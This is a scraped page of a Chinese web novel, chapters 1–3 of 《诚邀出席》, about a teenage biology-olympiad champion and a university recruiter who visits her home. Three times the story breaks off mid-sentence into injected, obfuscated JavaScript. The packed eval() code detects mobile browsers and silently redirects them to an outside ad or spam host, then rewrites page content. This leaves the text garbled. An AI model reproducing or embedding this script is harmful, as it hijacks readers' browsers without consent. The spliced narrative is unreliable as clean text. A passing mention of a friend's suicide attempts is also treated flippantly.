《诚邀出席》 1. 奥赛 “考试开始!” 实验室喇叭中语音播报将这四字念得字正腔圆,跟催生产队驴干活似的,这跟平常念得普通话还不一样,听上去像机器仿声,带点当地尾音上调幅度,略微刻意。 看到桌子上那条鲫鱼,倪旖头脑嗡的一下,果然不能熬夜,脑子都昏沉。 在场厦举行的第27届全国中学生生物学竞赛中,岽安省队选手倪旖尝试解锁那道正难倒无数“英雄好汉”的“解剖鲫鱼”。 实验科目考试被安排在了比赛第二天,早上8点进考场,下午6点出考场,这不是对倪旖学业水平的考验,主要是对体力和意志力的考验。 实验科目的比赛分四类,倪旖分到的组是按照植物学(有关)、动物学(有关)、生物化学和分子生物学以及细胞生物学和遗传学分类进行的。 倪旖最先开始的植物学(有关)实验,那道题目是解剖一段树枝,判断树种并分析。 幸好倪旖一开始的判断是正确的,是银杏树,没相信后来闻了闻后给改成了桃树的判断,避免一下子失15分。 就在倪旖虎口脱险的时候,紧接着第二场动物学(有关)比赛又开始了。 进入考场一瞬间,倪旖看到实验台上摆放着一条鲫鱼,脑袋顿时就嗡一下。 生物解剖实验不能见血,通常是解剖无脊椎动物,这次考试首次使用了脊椎动物,因此一般同学在训练时完全没有准备。 鲫鱼解剖有一定要求,比赛要求完整保留鱼内部的五块骨头,把肌肉剔除干净,如果采取开膛破肚式的解剖就会损坏其中一个。 倪旖思索着,突然想到妈妈杀鱼时去骨头方法,从尾鳍处破题,最终成功找出五块鱼骨,肌肉剔除得非常干净。 倪旖弯着腰,像一张紧绷的弓,从姿态到神情都带锋利攻击性,似乎将鱼给活吞似的。 倪旖正坐实验隔间凳里,瘦长手指被实验照明设备一照,白骨森森似的,对着光线动了两下,攥着解剖刀时骨骼碰撞出咯咯的轻响。 接下来的生物化学和分子生物学的比赛科目当中,倪旖稳扎稳打,可还是保持背水一战的勇气。 在第四门细胞生物学和遗传学的实验比赛,倪旖解剖刀一放就不见踪影,消失前除了一道踉跄的脚步声和衣料摩擦的细索轻响,什么大动静都没有。 同一个考场的满脸懵逼。 其他考生微微抬眸,手法一顿,很明显被挫伤自信,倪旖就单纯玩,她的国家集训奥赛队水平一般不二次参赛。 这次转校后,学校报名要求,算投名状。 那学校主打数理化,生物较薄弱。 挺缺金字招牌。 巡考老师刚瞅着她出来就紧张,以至于他一走到楼下就有一种踩上蜘蛛网恐惧感,那直勾勾眼神又得讨要东西,他要不撞这网来都有点对不起她。 倪旖捏着手机跑拐角处,攥住中年头顶突兀的大考官衣袖,轻声问:“老师,考试还剩芫荽吗?” “去年荜茇要点,还能理解,北方丫头没见过南方鼠尾子,”总监考官还挺意外,“你要这干啥玩意?” 倪旖缠着老头要点纪念品,一本正经睁着眼睛说瞎话,义正言辞道:“绿油油的,……挺喜庆。” “……”总监考官一愣,还是难以置信,略微有点牵强地点点头,在实验室楼底下那考试器材小隔间给掏一包。 高大香樟和香樟投下带着湿漉漉香味的树阴直接蔓到备考室,倪旖抱着那一塑料包荽菜兴高采烈,目光一闪烁又定在那没处理过的活鲤鱼身上。 “这个不行,得报销退货。”总监考官将小姑娘轰走。 倪旖是不敢将实验室解剖过后的鲤鱼带走,总觉得实验室全是细菌,再说大型比赛没法弄,专属摄像头搞死你。 倪旖还想说点客气话白嫖个活鲤鱼回家炖汤吃,只不过监考官跑得飞快,就跟鬼附身上似的。 中年考官看她就恐惧,几乎国内有名生物竞赛评委都记住这名字。 这简直是一种精神上折磨和污 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222303|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染。 都知道倪旖闹腾,跟孙悟空闹天宫似的,一个个都躲她,一个个都爱她。 倪旖心情低落顺着楼梯拐角走,垂眸一看,背后打过来一片金黄色。 第四天全国中学生生物学竞赛闭幕式上,会宣布比赛成绩,成绩公布是按照成绩从后往前的形式宣读的,先是铜牌,再是银牌,最后是金牌。 倪旖淡定坐前排等待着。 读成绩这环节就很扎心,希望听见名字,又不希望太早听着,赌博似的,胆颤心惊。 这恶毒环节是直接台上一个个倒序念名字公开处刑,念到谁谁完蛋。 这次获得前五十名的同学保送燕兆颐大,51-72名降至一本线录取。 倪旖丝毫不担心,去年夏天婉拒燕兆生命科学学院的保送,因为回国没两年汉语不熟,不适应宿舍生活。 倪旖今年还准备参加第29届国际生物奥林匹克竞赛(IBO)于2018年7月15日—22日,在伊朗首都德黑兰举行,拿了金牌,国内竞赛就顺便玩一圈。 倪旖不想去燕兆,她等着岽大给她递橄榄枝,不过,貌似它被吓跑掉。 倪旖回忆去年第28届国际生物奥林匹克竞赛,其中有一道题目考的是植物和环境,提供几种植物和几种土壤,让选手分析出哪种植物适合在什么土壤环境生存。 倪旖不出意外听到颁奖老师喊她名字,便着实冷静去领奖,又全国排名第一,一等奖。 “又是你啊?”礼仪小姐轻声道。 倪旖点点头微笑着,目视摄像。 结束仪式,倪旖趁乱躲避采访,她为攻克自己实验的薄弱环节——切片,书包里总带着刀片,然后找一些树叶、植物根之类的东西切片带回实验室。 这次也不例外,因为不跟学校走,就溜达到后门处蹲地面挖个长胡须根边走边玩,探头看着拐角一堆哭得伤心的悲伤蛙。 其实,竞赛真的很残忍的。 不过,再残忍都会被一分一秒冲淡。 2. 星座 “到处都停闷,勒个啷个过去嘛?又是这样,又是挡前面,他勒种车都应该恁个停一哈,等我过去,他再往那边走撒~” “对头!” “你看嘛非要恁个来卡,勒个嘞个卡嘛?他可以入进去,杵在那勒点,我真的不晓得他那勒个是啥子意思哦。” “对头!” “嘞边那个窄窄,嘞中间又是坛坛儿,又不好掉头。” “啪——”关驾驶座门闷声响着。 有些方言男生说起来就像撒娇。 这边路况错综复杂,道路窄得跟群众用脚踩出来似的,犬牙交错,违章建筑塑料凉棚简直蔚然成风,快报废的二八杠随处可见。 虽说进来一趟的机动车以及生物跟误入盘丝洞被蜘蛛网黏着似的,奈何这学区房地位不可撼动,引诱人类幼崽父母前仆后继笑嘻嘻地往坑里掉。 走上社会真就懂成年人世界,哪个不是心里mmp,脸上却笑嘻嘻,蒋商鉴此刻就是如此。 虽然他也才刚成年没几个月。 也就是特招少年班学员的树人计划第一届,在学校待久了混个脸熟。 被迫陪教务处行政领导应酬。 还得给领导开车。 同时得看颜色将领导微蹙眉才忍住那抱怨给吐露出来,就是想领导所想,一路上嘴皮子仿佛装了两片弹簧,语速快得蹦豆一样。 一般来说招生组会提前拿到学生联系方式,前期会通过逛校园、专业讲解等形式进行学校和学科宣传,出成绩后也会第一时间联系高分学生和家长。 倪旖缩被窝里上,手边搁着一袋拆开的薯片空气,屋子里没开灯,连窗帘也紧紧实实拉着,只剩下面前投影仪闪着微弱的荧光。 电影正播到激烈处,荧光大亮,猛鬼忽然龇牙咧嘴地冲出来—— “起床!” 又静又暗的房间里,小夜灯的光线变得模糊了起来,空气旖旎。 屋里空调冷气冻死人,倪旖屋内温度与屋外天壤之别。 许珊一手撑着墙,三两下把倪旖被子揭掉,头也没抬地冲喊:“睡觉呢,太阳晒屁股,不吃饭,等我喂嘴里?” 倪旖敷衍得哼几声。 “螨虫快乐床,全是薯片碎屑,邋遢大王是不是你?宝宝。”许珊逗她玩。 倪旖意志消沉,眯着眼哼唧。 许珊走窗前跟智能家居说了下扯开窗帘,那水蓝盘扣织开叉旗袍裙角被风灌得微飘,外披着一件羊毛披肩,风情又漂亮。 窗帘缓慢平稳自动拉开。 许珊是有点梗在身上,笑道:“人生索然无味,尸体COS人类。” 倪旖睡眼惺忪抬眸,默不作声打量妈妈,一眼就注意到她右手一直有意无意地扶着腰侧。 研究员弯腰,机械性实验,她腰一直不太好,得每天贴一张膏药,不然能疼得爬不起床。 屋内陡然间亮起来,正值盛夏,就算早晨阳光也温热,被轻风一吹,热气扑面而,楼下那海浪轻轻荡漾,清澈反光,一旁全是沙滩椅。 倪旖在睡梦中被阳光照醒,脑袋还泛着昏沉,略微烦躁翻过身背对窗户,闭眼试图再次睡去。 昨天一夜没睡,凭借电影刺激部分提神,一只猫瞳孔忽然变异,音乐一下子惊悚起来,猫一偏头,一口獠牙正中小女孩的脖颈。 倪旖那时心跳得飞快,一直到后半夜才睡去。 眼下又被光照醒,心里腾升出一股莫名烦躁。 可瞌睡虫也被光照跑,倪旖再闭眼也睡不着,只能顶着一头乱发从被窝中爬起来,烦躁地抓了把头发,伸手将枕头下手机拿来看了眼时间又塞回。 透过晨光窥见部分陈设,整间屋子邋遢得过分,桌上摆着几本自印a4竞赛稿纸《竞赛拟练》,乱七八糟叠着各种零食,一堆被摆得东零西落的毛绒动物玩偶。 “妈,这太暴露了。”倪旖特嫌弃那休闲旗袍。 许珊淡淡道:“闭嘴,老娘当年旗袍开到肩膀!” “不穿,不舒服。”倪旖拒绝道。 “好吧。”许珊给人鼓捣起来,去了小客厅,笑着跟那小伙子解释,“小蒋啊,我家宝宝有点疯癫。” 许珊指指脑壳,转身时又想到闺女那句碰见帅哥经典台词,扶着额笑着叮嘱:“她等会儿肯定问你星座。” 许珊给人倒杯纯净水摆好,带着点惭愧,又不放心地再次叮嘱:“她能耐挺大,平时特不像话,她那疯癫模样,放我那时代,就是典型臭流氓,就得挨枪子儿的。” “……”沙发上帅哥一愣。 “妈妈!” 见她住的小套房客厅里没人应她,倪旖往屋里走几步:“妈!你听见——” 声音在看到小客厅沙发的那一瞬间戛然而止。 时间像是被按了按钮停滞住。 “我去——”倪旖发出本能脏话,感慨道,“好漂亮的……后脑勺。” 圆鼓鼓的,好想rua一下。 倪旖在家懒一晚上,刚起来迷迷糊糊溜达着,顶着一团鸡窝发型瞅见沙发坐着个帅哥,抬起了脸,脑门儿上大一块压出的粉红印,跟练了神功似的。 那帅哥似乎不太惊讶倪旖突然的到来,那双略显薄情的眼微微一挑,像是在询问她的来意,跟他不是客人似的。 那男的穿着绿色薄纱外套,里面是奶咖色内衬,颓势扭曲的中长发微微蓬的,抬眸时眼神柔和,唇色偏浅,肉肉感很足,低头把玩专业摄像机,索尼的,手指细长。 应该是错觉? 倪旖点头。 也不是一次两次梦见标本。 这么标准的人体很少见。 每个骨骼都很好判断。 倪旖瞳孔骤然收缩,猛地扑过去,膝盖隔着沙发软垫,直勾勾盯他脖颈,抬手爱不释手摸着他的覆在皮肤表层的动脉血管,一副贪婪模样:“你这个位置长得真好。” 帅哥眉直皱,连攥手都用力些。 “你你你……好。”帅哥闪躲着。 “?”倪旖意识到不对劲,愣神片刻,歪歪脑袋瞌睡虫顿无,“咿呀!……还活着?” “暂时……活着。”蒋商鉴真不知道这到底算不算一种夸奖。 俩人脾气都挺好的,情绪稳定得像两只叠一起的卡皮巴拉。 都没意外。 也没尴尬到扣脚趾。 自然而然就翻篇。 “你是?”倪旖仰头喝口凉水,拉了半个帘的室内光线格外暗沉,那帅哥原地没动,半边侧脸沉在阴影之中。 “蒋商鉴,叫我师哥就行。”男的起来表示礼貌,微微松口气。 蒋商鉴很高,高她个脑袋以及脖颈,但跟她说话时会微微低头,眼底含着笑意。 那绿色好似最鲜棘的、最潮湿的,沾着什么就染绿了,他光是略微起身移动一小步,仿佛那米白榻榻米垫子、更夸张来说是那周遭空气都留着绿印子。 倪旖看愣神。 真的好美啊。 随后,倪旖尴尬缓和道:“我看鬼片,脑袋怕得不清醒,那死鬼老把灯搞得一闪一闪的,很可怕的。” “生前连电灯泡都不会装的人,死后却可以控制各种电路,这样想想也不是很恐怖了。”蒋商鉴很温柔解释。 倪旖被逗笑,点点头:“对啊,电灯都不会玩怎么做鬼。” “鬼物理很好的,拥有掌控电磁波的能力。”蒋商鉴顺着说玩笑。 窗帘“唰”地被拉开,大片光线涌进来,倪旖拧开盖子,抓一把花茶丢进养生壶里,“滴”一声按下电源键。 “你什么星座——”倪旖习惯性问话,只是关键词触碰引起连锁反应,皱着眉紧急闭嘴。 倪旖说这句话后半段时,声音骤然冷下来,突然透着一股难以言喻厌烦感。 蒋商鉴突然想到刚才的许老师,又看看面前这位如此放荡不羁到粗鲁的倪旖,果真是应了那句话——“好竹出歹笋”。 倪旖真觉得自己当皇帝一定是个昏君,爱搞连坐,懒得理姓蒋的人,姓蒋的人估计都有点贱。无端讨厌姓蒋的,就是一种情绪反感。 她是个很坏的人。 她从不否认。 蒋商鉴扶额轻笑,轻声道:“摩羯座。 倪旖瞅着他笑那副样子,越发明确内心贴标签十有八九又没错。 伴着茶水煮沸发出咕噜咕噜声音,倪旖俯身着手整理桌面上乱糟糟零食以及习题文件,大脑快速运转,说话条理清晰分明:“抱歉,有点乱。” 蒋商鉴抬眸望,身后阳光朗朗,他看到穿着黑白校服,扎着马尾露出来侧脸弧度姣好的倪旖。 她蹲下来正在捡习题册,皮肤呈奶白色,一眼瞥见清瘦锁骨正中间凹窝处有一颗红色小痣。 倪旖捧着沙发上的平板电脑,就这么斜斜坐地毯上靠着,微微偏着,刚按下搜索键,旁边光线顺势暗下来。 还没看清楚词条内容,倪旖就注意到蒋商鉴身影出现在视野里。 此时蒋商鉴稍弯腰,凑到她旁边,气息铺天盖地将周边笼罩。 出现得无声无息。 两人距离在一瞬间拉近。 倪旖心里的小恶魔都举起狼牙棒准备暴力砸过去,刚张口预备怼去,幸好没脱口而出,那帅哥单纯拿纸擦嘴。 倪旖目光定住,看着他垂眼,都说浅色眼珠天生透着薄情,但当这双漂亮眼睛映着缭绕带着点玫瑰香雾,在急促呼吸中半睁半闭,又比雾气还要潮湿迷蒙。 这样想着,倪旖脸就微微红起来,脖颈处肌肤似乎也在变化着温度。 蒋商鉴撇头略微疑惑,视线放在她的手机屏幕上,侧脸曲线流畅柔和。 画面变得清晰了起来。 搜索栏写着字。 处女座女和摩羯座男。 第1个词条跳出来就让人尴尬。 星座屋处女座女和摩羯座男配对指数分析,框框条条很官方,貌似很值得信赖。 两个卡通人牵着手,中间的爱心显示:相知共约白首,匹配度100%。 “……”蒋商鉴浅笑。 “就有些营销号瞎折腾。”倪旖恢复那股懒恹恹调子,反手将网站举报,随便解释,“你那上面说,同是土象星座,恋爱在外人眼中,沉闷。” 刚点击举报按钮,就显示网站早倒闭了。 “……”倪旖解释,“该。” “……”蒋商鉴就不咋理解这奇葩的怪异的脑回路,一般尴尬情况不是得碰着就避免,哪还在尴尬里玩出花来。 “居然崩溃,就冲这,谁信谁是蠢货。”倪旖展示平板404死机界面,大大方方解释,“唉,这还有姓名匹对,我试试水。” 谁信谁是蠢货。 蒋商鉴觉得听岔了,光速打脸也没这么快。 倪旖随便扯个姓名和生辰八字,点击马上测试按钮,页面直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222304|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接冒出个支付码,沉默两秒,再次举报这页面。 “……”蒋商鉴被整得无话可说。 “我去搞点吃的。”倪旖点头示意便溜达去厨房,一丁点都没得剩菜。 蒋商鉴探手从包里拿副眼镜,镜片很薄,度数不深,中规中矩无框烟丝灰色镜框搭耳眼镜,有种低调的学术感。 倪旖咳嗽两声猛地钻出来,隐形眼镜被咳嗽掉出来,犄角旮旯处摸了好半天都不在,便蹲在茶几边胡乱找眼镜。 倪旖近视不算特严重,模糊视线下同色系颜色不分罢了,就是平时特依赖隐形眼镜,必须得找个眼镜先凑合。 倪旖戴上那眼镜,烟丝色镜框细细绕了一圈,就算温暖的晨曦映照在镜片上,给眼珠笼了一层沁凉温柔的光,还是大写的“我不高兴”。 蒋商鉴攥着眼镜布,不知所措。 倪旖觉得世界都无比清晰,感慨来着:“镜片清晰得让我不敢认。” “……”蒋商鉴将攥在手心眼镜布往后藏藏,礼貌性点点头。 倪旖四周瞥一眼,又钻厨房溜达。 蒋商鉴轻轻叹一句,想着这两个星期得陪人玩,先琢磨透她性子。 倪旖嫌气氛闷得慌,隔玻璃门冲蒋商鉴叨逼叨半天,就听对方“嗯嗯”几声,片刻之后倏然回神问他:“你刚刚说什么?” 倪旖决心闭嘴,捧平板给蠢货打电话,都好几天没见,不知道哪儿混去。 蒋商鉴主要是没仔细听,有点好奇星座分析是否准确,便眯着眼睛点击搜索词条。 处女座女性格分析。 蒋商鉴点开最顶端每天星座网站。 “善良。”蒋商鉴重复关键词。 “你追他,那男的不答应,你就拿铁棍打断他的俩狗腿,看他答不答应。”倪旖隔着手机给好朋友支招。 “节俭。”蒋商鉴试探性再说词,声音放得格外低。 倪旖根本就不是呛着说,捉橘子坐小板凳上边剥开吃边给姐妹打气。 “他嘴硬你就拿钱砸,男的嘛,就爱追白富美,身材性感,俗气得很。” 蒋商鉴扶额干脆不说话,就看第3个处女座女性格关键词:完美主义。 倪旖跟闺蜜谈崩,那恋爱脑一个劲倒贴:“你就将就着吧,他再邋遢,你舍不得放弃,自作自受能怎么着?” 蒋商鉴随意揉揉耳朵,都不敢继续看,深吸好几口气才轻轻念道:“处女座女人,你的谦逊有时会发展到唯恐被人注意的程——” 话还没说完,蒋商鉴就听见厨房倪旖那里隐隐约约有一点动静。 “卑微?”倪旖特不痛快,“这词都是别人瞅见我时的思想情感。” “……”蒋商鉴反手举报网站。 吹了一晚上16度最低温空调,倪旖脑瓜是嗡嗡疼的,鼻子是塞的,连打四个喷嚏,才狠狠朝手机啐了一口。 “挂了,没想清楚之前别联系,我瞅你就晦气。”倪旖挂断电话气得命,喋喋不休,“你特么从哪个垃圾堆里扒拉出的这玩意儿啊~” “……”蒋商鉴扶额自我反省。 这架势,要是渣男要有胆一来,倪旖准准就抄起脚上拖鞋,一点不留力地把他打回去,像是要把人打回娘胎里。 “我不该那么冲动的。可你不要这样说他。他是个很好很好的人。” “哪儿好?”倪旖好奇到遗忘挂断电话解决苦恼,便直接问道。 “我俩一个化学教练。每次我橡皮掉在地上,他都帮捡起来。” “……” 哇偶,好棒的男的哦~ “我很膜拜他的,就是我的神,他得了省一等奖第五名。”女孩哭唧唧。 互膜现象在五大学科竞赛中都很普遍,倪旖就特烦这种,膜来膜去,特别是不在少数,太幼稚了,不过14,15岁时候这样能理解,揍他丫的,都十七八岁还不成熟。 “这种治好了,也流口水。”倪旖淡淡讽刺着,很无奈。 女孩抽噎着:“白天教室图书馆连轴转,晚上回宿舍开始emo,凌晨情绪到达顶峰,经常去湖边准备沉潇湘湖,到现在还没没成功原因,都说夜里湖边人太多。” “那你继续喜欢吧。”倪旖敷衍。 尊重他人命运,放下助人情节。 也挺好。 “谢谢你的支持。” “……” 倪旖快速挂断电话,气得冒烟。 哐当当造得直响,倪旖都没在套房里厨房翻出点新花样,家里能直接吃的东西,也就观赏水箱里的海鲜,还得提防被鱼尾巴啪啪扇着脸。 倪旖忙着在微信上耍混,那厨艺二字在她面前如此苍白,顾头不顾腚,真没辙,拿了个锅铲在那比划想打一架。 “妈妈,我饿了。”倪旖有事儿就找妈妈,大声吼,丝毫不在乎形象。想着那油锅噼里啪啦冒油,就瘆得慌。 她那小厨房阳台有盆养一阵儿的小番茄,连日高温折磨蔫儿得不行。 倪旖随手给它们浇上水,想了一会儿又从茶几储物柜里找出小风扇插上电源对着小番茄吹起来。 看着吹着风扇的小番茄盆栽放松地发了会儿呆,刚结束献爱心,兴高采烈溜达回客厅,就瞅见蒋商鉴面带笑意。 蒋商鉴觉得她挺有爱心。 爱护番茄,袖手旁观她人生死~ “她跟学校老师在书房谈判。”蒋商鉴抬眸时眸色清亮。 3. 师哥 晨曦透过窗户把房间照得昏黄,赋予人性似的贪婪地用视线舔舐过墙上褪色的海报,书桌上整齐排列古典书籍,茶几摆放的一束滴着露珠的月季鲜花。 “哦。”倪旖也不再大声嚷嚷,蹲在冰箱前面翻出一板墨鱼水饺,有点牵强地去厨房,待了半天尝试点燃天然气灶,就没法弄,简直是气急败坏。 倪旖扭头往客厅看,试探性敲敲隔板玻璃,吸引他注意力后轻声道:“师哥,可以帮忙点燃气灶吗?我有点怕。” “好。”蒋商鉴起身拉玻璃隔板,抬手摁着燃气灶按钮往左一拧,浅蓝色箴气火焰均匀地铺在灶正上方。 “谢谢。”倪旖说罢,瞥一眼那银色不锈钢锅,微皱眉,问,“水煮沸后下饺子还是跟水一块煮沸?” “水煮沸后。”蒋商鉴倒觉有趣,没急着去沙发边坐下,就靠玻璃窗边,静静等着看她接下来步骤。 倪旖半是疑惑地盛上水,等着锅里凉水煮沸:“你吃吗?单份要下几个才能饱?” 因为一直低着头颅,倪旖没看前方的路,一转头撞上她胸膛,呼吸一滞,避如蛇蝎般的立刻后退了几步,仰头。 “看你要吃几个,我不饿。”蒋商鉴懒懒地依靠在墙边,眼带温柔笑意。 倪旖还是有点情商,不饿不代表他不吃,相反没说吃过早饭就是没吃,还得多下份饺子。 沸水叫嚣着汩汩流出,倪旖往后退了两步,水可能加多了,就端着墨鱼饺子不敢轻举妄动。 “我来。”蒋商鉴看不下去就上手帮忙。 那女孩往后躲得不知道多害怕,像是下一秒就得逃出危险之地。 “谢谢师哥,我吃二十个。”倪旖说着将一盒墨鱼冻水饺递给他。 “二十个?吃得完吗?”蒋商鉴等着煮沸的水没那么猖狂便用筷子一个一个接着往下夹。 “试一试嘛。”倪旖也不好直接点名顺带给你也煮一份,中式客气得牢牢把握住,靠门边上不说话。 蒋商鉴也没反驳,接受指令干活,瞥见那被小风扇解凉的小番茄,觉着这小姑娘挺可爱的。 倪旖察觉气氛略显尴尬,只有水饺下锅的噗噗声,便轻轻问:“师哥,你是今年参加招生组?” “是的,九月初期得去你母校,岽安省第一中学宣传。”蒋商鉴将托盘放进水槽,随后拿锅盖盖上不锈钢锅,反手撑着桌台垂眸道。 “那天我请你吃饭。”倪旖确实觉得他长得很好看,好像夹着淡淡愁恼,显得整个人好像照在水上的月光一样。 “好,学校开学后让我带你去四周逛一圈,去祖师爷课题组了解了解,先加个好友方便联系。”蒋商鉴说着从兜里掏手机点开小号联系人名片。 招生组会加各种学生微信,蒋商鉴特地开通专门工作号微信处理问题,避免影响日常生活。 “我去屋里拿。”倪旖说着便转身回卧室,俯身将枕头下手机握住,点开社交软件扫码便去厨房跟他添加好友。 蒋商鉴接受好友认证,并改了个昵称:A特招生倪旖,家访,小师妹。 一串特征解释,毕竟人多就怕遗忘找不着,前缀A是要特别关注这女孩,学校接下两周任务给他任务就是公费出游,简言道,陪小孩逛着玩。 看到校徽头像和实名网名,她眼睫轻轻颤了下,手指点击小号扫码,缓缓点下同意。 界面一下由添加好友的申请转变成两人聊天页面,他头像发来一句“我是岽大‘海洋生态生命学院’蒋商鉴”,界面上小字“以上是打招呼的内容”。 蒋商鉴添加自己为好友。 叮咚—— 手机发出一声震动将倪旖困倦思绪拉回来。 倪旖垂下眼帘,看到蒋商鉴发了一个“Hi”的表情包过来,接着跟了一串手机号。 只是一个很普通的打招呼消息,倪旖却盯着这条信息看愣了神,怎么会有人发这么猥琐的单手抠鼻屎黑白拟人熊猫表情。 倪旖瞥见他长串备注,没理会,自己捧着手机玩,顺便拉黑朋友圈权限,祖传傲娇体质不作假。 你小号,我就小号,谁把谁当真。 蒋商鉴一愣,这姑娘号还挺独特,网名叫,呃……老虎屁股摸不得,头像也是这几个字搁白纸上。 微风穿过林间,树叶发出沙沙声,阳光透过窗户洒着,蒋商鉴捏筷子轻轻搅和沸水,防止水饺黏锅。 气氛又沉默着,只剩木筷刮蹭不锈钢锅的隐约闷声,燃气灶持续稳定嘶嘶地输出气体。 倪旖撇撇嘴,默默将手机塞回兜。 “师哥,你博士研究生几年级?”倪旖随口问着,总不能被这男的骗着。 “开学三年级,不出意外,年后预科班时就是你的导员助理。”蒋商鉴笑道,等水饺都慢慢浮着,便关上燃气灶将锅盖盖着闷一小会。 “哦?” “辅导员管理班级太多,学校就会选拔培训硕博士生兼任细分班级的导员助理。” “哦,那你不算老师?” “嗯,不算,只是师哥。” 倪旖随意道,扑面而来水饺香味,混合墨鱼鲜香味,便去碗柜捏着仨碗洗洗,备好干净碗筷去餐桌。 “今年竞赛上热搜,就那道鲫鱼,你用什么方法满分的?”蒋商鉴低头问着,拿碟子用筛漏将水饺都盛出来。 “解剖鱼一般步骤,解剖剪从鱼屁股那块沿腹中线剪至下颌,再盯着那鱼左侧向上,继续从屁股向背方剪到脊柱,再到鳃盖后缘,剪掉左侧体壁和鳃盖骨,这样就行。” “这次解剖鲫鱼,首先要得给鲫鱼进行外形观察,并将给出九个标签,我是从尾鳍处开始,算了,中午让菲佣买条鱼,我给你现场杀。” 倪旖解释不清楚,也懒得解释,水流细细冲刷着她的手指,她也没擦,就这么湿漉漉地关了水,捏着一瓶饺子醋就坐餐桌椅上等着饺子。 “那你怎么不让菲佣帮你煮早餐?”蒋商鉴刚进她家在进门时确实看到好几个东南亚面孔在做家务。 “我不喜欢她们进我房间。”倪旖攥着那瓶醋仔细查看保质期标签。 “你房间还有厨房客厅?”蒋商鉴弱弱问,“……那我先出去?” 倪旖笑笑,连手上动作都微微停滞,抬眸眼角弯弯,玩笑:“套房嘛,自然就都有,我有时特宅,daddy生意伙伴来家参加派对,很吵,我懒得溜达。” 可能是贫穷限制想象力,蒋商鉴一时不知道如何回答,她家像个庄园。 “没事儿,你不一样。” 我不一样? 蒋商鉴端着满满一碟水饺放桌边,瞧见她摆好的一双碗筷。 “一起吃,我妈妈包饺子能熟的,不饿也稍微吃点。”倪旖说着夹着水饺蘸醋往嘴里塞,满满一口十分满足。 能熟?一下就降低期待。 “不用了。”蒋商客气着,虽然早餐没吃,从学校大清早开车过来。 倪旖回忆时满脸凝重道:“饺子生病了。” 蒋商鉴一愣:“饺子得啥病了?” 倪旖幽幽道:“缺钠症。” “……”蒋商鉴跟她没搁同脑回路里,刚听着还不懂。 倪旖咀嚼着,脸色微微发愣,懊恼道:“呀,我妈没搁盐,淡出鸟来。” 倪旖撸起袖子,飞快跑到厨房弄了盆盐水,挨个给饺子打针。 “……”蒋商鉴瞳孔微微放大。 “别介意,上次也这样,能吃,密封好的,没用过的。”倪旖很淡定将针头帽盖好装塑料包装随手丢进垃圾桶。 “这样的饺子没有灵魂!”蒋商鉴好心提醒,眉头直皱,想拯救一番。 倪旖动作特麻利,抽空回复:“问题是,真有灵魂谁敢吃啊。” “……”蒋商鉴抿唇,欲言又止。 说实话,还挺有道理。 “你吃吧,”蒋商鉴想半天找理由拒绝这顿黑暗料理,没想出辄,只好硬着头皮说,“……不饿。” “剩了就得倒掉,还不如——”倪旖就是情商忽高忽低,笑笑解释,“我的意思是,师哥可以帮忙吗?” 倒也不必如此热情。 蒋商鉴点点头,怕肚子饿叫难堪。 一咀嚼,真的淡出鸟来。 差点没喷出来。 “咱先对齐颗粒度?”倪旖试探。 对齐颗粒度,职场黑化,双方信息同步,形成共同认知。 就一恶搞职场话术。 倪旖得增加熟悉度,她的官方简历除不能看的估计早被校方扒得底朝天,他多少了解些她情况。 “你问。”蒋商鉴虽是一愣,可想到从国外回来没两年就全能金牌,家里肯定底子厚实,懂得东西多,对陌生人还得了解。 说不定,她书房桌面就有他档案。 “我要不等会儿煎水饺?”倪旖怕他不够吃,也想展示厨艺。 “……”蒋商鉴还以为她要问难捱题,想她手忙脚乱,微蹙眉笑道,“外有致癌物质,内有幽门杆菌。” 这是嫌弃我? 致癌物质就是黑黢黢的糊锅巴。 内有幽门杆菌就是滋生微生细菌。 倪旖心道。 “师哥,你几岁?”倪旖闲着没事就爱聊八卦,自顾把腿长长地伸到他椅子下面,小小地抻了个懒腰,然后就着那个姿势,窝在阔大柔软的靠垫椅里。 “比你大几个月。”蒋商鉴细细咀嚼墨鱼水饺,确实好吃。 “那就是十八岁多一点,还是个少年班的,那算是我直系师哥,你有女朋友吗?”倪旖跟大妈似的聊着,用筷子夹着水饺蘸着醋咀嚼。 “还没。”蒋商鉴瞬间腼腆,脸颊微微发红,笑得也十分青涩。 “嗯?”倪旖抬眸略带疑惑,总之不信,连吃饺子的速度都放缓。 “学习忙,还得赚钱,没空谈情说爱。”蒋商鉴莫名其妙就给出原因。 在寂静得堵塞呼吸的空气中,似心有灵犀般,倪旖慢慢抬眸,一眼看到蒋商鉴懒散地倚靠在餐椅,姿态侮慢,他也正看着她,视线温和。 “你父母不给你钱吗?”倪旖两胳膊肘撑着桌面,也不再吃饺子,把筷子轻轻放碗面靠着。 “我这么大哪好意思要钱花,学校奖学金就够用。”蒋商鉴掩饰慌乱轻舔着下唇。 “好厉害。”湿热气顺着窗缝隙钻进,倪旖跟小狗似的趴桌,肩膀下意识瑟缩一下,困倦得很。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 